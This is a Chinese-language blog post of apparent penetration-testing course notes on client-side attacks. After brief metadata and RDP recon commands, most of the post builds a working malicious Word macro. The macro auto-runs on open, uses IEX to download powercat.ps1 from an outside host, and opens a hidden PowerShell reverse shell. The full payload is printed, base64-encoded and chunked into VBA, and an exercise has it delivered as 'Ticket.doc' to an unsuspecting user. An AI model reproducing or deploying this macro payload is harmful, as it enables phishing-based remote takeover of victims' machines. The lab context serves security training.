客戶端攻擊(Client-Side Attack)

 客戶端攻擊(Client-Side Attack)


查看檔案 metadata 訊息,第一步透過 curl 下載檔案

curl -o [local file name] [File URL],範例 : └─$ curl -o oldd.pdf http://192.168.187.197/old.pdf

讀檔案 metadata 用指令 exiftool,範例 : └─$ exiftool -a -u oldd.pdf    
-a          (-duplicates)        Allow duplicate tags to be extracted
-u          (-unknown)         Extract unknown tags


使用 gobuster 查找某網站是否有 PDF 檔案,指令如下

└─$ gobuster -w directory-list-2.3-medium.txt dir -u http://192.168.187.197/ -t 100 -x php



下載 info.pdf,└─$ curl -o info.pdf http://192.168.187.197/info.pdf

一樣 exiftool 看一下 metadata,└─$ exiftool -a -u info.pdf



Linux 上透過 RDP 連線到 Windows 使用之指令 xfreerdp

範例 : └─$ xfreerdp -v:192.168.187.196 -u:offsec -p:lab -size:80%

 -v : 遠端主機
 -u : 遠端登入帳號
 -p : 遠端登入密碼
 -size : 遠端桌面視窗比例
 -drive:davidou,/home/kali_r #掛載遠端硬碟到對方去(davidou 表示網路磁碟機分享名稱),掛載如下圖



 -tls-seclevel:0 : 當遇到 win7 或是更早以前的系統時,因為只支援 TLS1.0 所以會導致連線失敗跳transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008],這時候補上這個就可以連線了

就可以成功連線如下圖



標準的 Office Marco 啟用 Powershell 寫法,以 Sub 為開頭,End Sub 為結尾

=====================================================

Sub MyMacro()

  CreateObject("Wscript.Shell").Run "powershell"

End Sub

=====================================================

由於 Office Marco 不會自動執行,因此必須使用預定義的 AutoOpen Marco and Document_Open事件。

這些過程可以調用自定義過程並在打開 Word 文檔時運行代碼。略有不同,具體取決於 Microsoft Word 和文檔的打開方式。兩者都涵蓋了另一種不涵蓋的特殊情況,因此以下同時使用兩者。更新 VBA 代碼如下

======================================================

Sub AutoOpen()

  MyMacro

End Sub


Sub Document_Open()

  MyMacro

End Sub


Sub MyMacro()

  CreateObject("Wscript.Shell").Run "powershell"

End Sub

======================================================


進一步作法讓 Marco 巨集直接執行 Reverse Shell,例如塞入以下語法,讓巨集直接下載 powercat.ps1 並執行 powercat 與遠端 shell

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.187/powercat.ps1');powercat -c 192.168.45.187 -p 4444 -e powershell

但在 Marco 底下可使用的變數不多,這裡我們使用 Dim 關鍵字來聲明變量

所以 Marco 內容可以修改如下,透過 Dim 聲明一個 Str 的字符串變量

========================================================

Sub AutoOpen()

  MyMacro

End Sub


Sub Document_Open()

  MyMacro

End Sub


Sub MyMacro()

    Dim Str As String

    CreateObject("Wscript.Shell").Run Str

End Sub

========================================================


接著將整串要執行的指令透過 pwsh 進行 base64 編碼

kali 執行 pwsh 開啟 powershell,將我們要執行的整串指令宣告為 $Text

執行以下指令

$Text = '$client = IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.45.187/powercat.ps1");powercat -c 192.168.45.187 -p 4444 -e powershell;$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'



將 $Text 先做 Encoding 轉成 $Bytes

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

再轉 Base64

$EncodedText =[Convert]::ToBase64String($Bytes)

輸出 Encoding Base64 的碼

$EncodedText,輸出結果如下

JABjAGwAaQBlAG4AdAAgAD0AIABJAEUAWAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANAA1AC4AMQA4ADcALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAiACkAOwBwAG8AdwBlAHIAYwBhAHQAIAAtAGMAIAAxADkAMgAuADEANgA4AC4ANAA1AC4AMQA4ADcAIAAtAHAAIAA0ADQANAA0ACAALQBlACAAcABvAHcAZQByAHMAaABlAGwAbAA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA


接著將 base64 編碼的字符串拆分為 50 個字符的較小塊,並將它們連接到 Str 變量中如下

Str = Str + "powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4"

Str = Str + "AdAAgAD0AIABJAEUAWAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAI"

Str = Str + "ABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQB"

Str = Str + "uAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoA"

Str = Str + "CIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANAA1AC4"

Str = Str + "AMQA4ADcALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAiACkAO"

Str = Str + "wBwAG8AdwBlAHIAYwBhAHQAIAAtAGMAIAAxADkAMgAuADEANgA"

Str = Str + "4AC4ANAA1AC4AMQA4ADcAIAAtAHAAIAA0ADQANAA0ACAALQBlA"

Str = Str + "CAAcABvAHcAZQByAHMAaABlAGwAbAA7ACQAcwB0AHIAZQBhAG0"

Str = Str + "AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAY"

Str = Str + "QBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwA"

Str = Str + "gAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoA"

Str = Str + "GkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFI"

Str = Str + "AZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAd"

Str = Str + "ABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB"

Str = Str + "7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlA"

Str = Str + "GMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0"

Str = Str + "ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZ"

Str = Str + "wApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwA"

Str = Str + "sADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9A"

Str = Str + "CAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACA"

Str = Str + "ATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAY"

Str = Str + "gBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwA"

Str = Str + "gACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoA"

Str = Str + "CAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0"

Str = Str + "AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAO"

Str = Str + "gBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwB"

Str = Str + "lAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXA"

Str = Str + "HIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHM"

Str = Str + "AZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAd"

Str = Str + "AByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQB"

Str = Str + "lAG4AdAAuAEMAbABvAHMAZQAoACkA"


編輯完最後結果如下圖





好了之後執行看看,開啟該 word 檔案後 reverse shell 就直接連線進來了




練習 :

上傳上述的 Marco 文件到某機器,等待使用者執行後建立 Reverse shell 以獲取 flag

上傳製作好的文件命名為 Ticket.doc



因為 Marco 文件中包含第一步先來下載 powercat.ps1,所以可以觀察 HTTP Server 的連線

確認要攻擊的主機 IP 有否連線來進行連線



接著查看 Reverse Shell 連線來報到了,那就獲取旗標吧



補充說明 :

也可用兩個 Dim 來達到 Reverse Shell

 - 第一個下載 Payload

 - 第二個執行 Payload

如下圖所示








留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)